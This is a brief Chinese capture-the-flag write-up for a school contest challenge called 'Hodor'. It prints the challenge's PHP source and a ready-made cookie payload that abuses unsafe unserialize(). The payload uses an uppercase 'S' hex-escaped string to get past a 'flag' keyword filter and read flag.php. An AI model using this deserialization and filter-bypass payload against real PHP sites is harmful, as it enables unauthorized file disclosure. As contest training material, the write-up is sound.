校赛Hodor

校赛Hodor

打开链接，如图所示

查看源码

get方式传入source，得到源码

<?php

Class Source {
    public function __toString() {
        return highlight_file('license.txt', true).highlight_file($this->source, true);
    }
}

function easy_check($str) {
    //echo $str;
    if (preg_match("/flag/i", $str, $matches)) {
        return false;
    }
    return true;
}

if(isset($_GET['source'])){
    $s = new Source();
    $s->source = __FILE__;

    echo $s;
    exit;
}

$todos = [];

if(isset($_COOKIE['todos'])){
    if(!easy_check($_COOKIE['todos'])) {
        echo "Hacker!\n";
    } else {
        $c = $_COOKIE['todos'];
        $h = substr($c, 0, 32);
        $m = substr($c, 32);
        if(md5($m) === $h){
            $todos = unserialize($m);
        }
    }
}

if(isset($_POST['text'])){
    $todo = $_POST['text'];

    $todos[] = $todo;
    $m = serialize($todos);
    $h = md5($m);

    setcookie('todos', $h.$m);
    header('Location: '.$_SERVER['REQUEST_URI']);
    exit;
}
// flag is in flag.php
?>

构造payload

cookie:todos=df80635527eb9189c1197254ad3c46bca%3A1%3A%7Bi%3A0%3BO%3A6%3A%22Source%22%3A1%3A%7Bs%3A6%3A%22source%22%3BS%3A8%3A%22%5C66lag.php%22%3B%7D%7D
str='a:1:{i:0;O:6:"Source":1:{s:6:"source";S:8:"\66lag.php";}}';//S 大写,为了识别\66

最后得到flag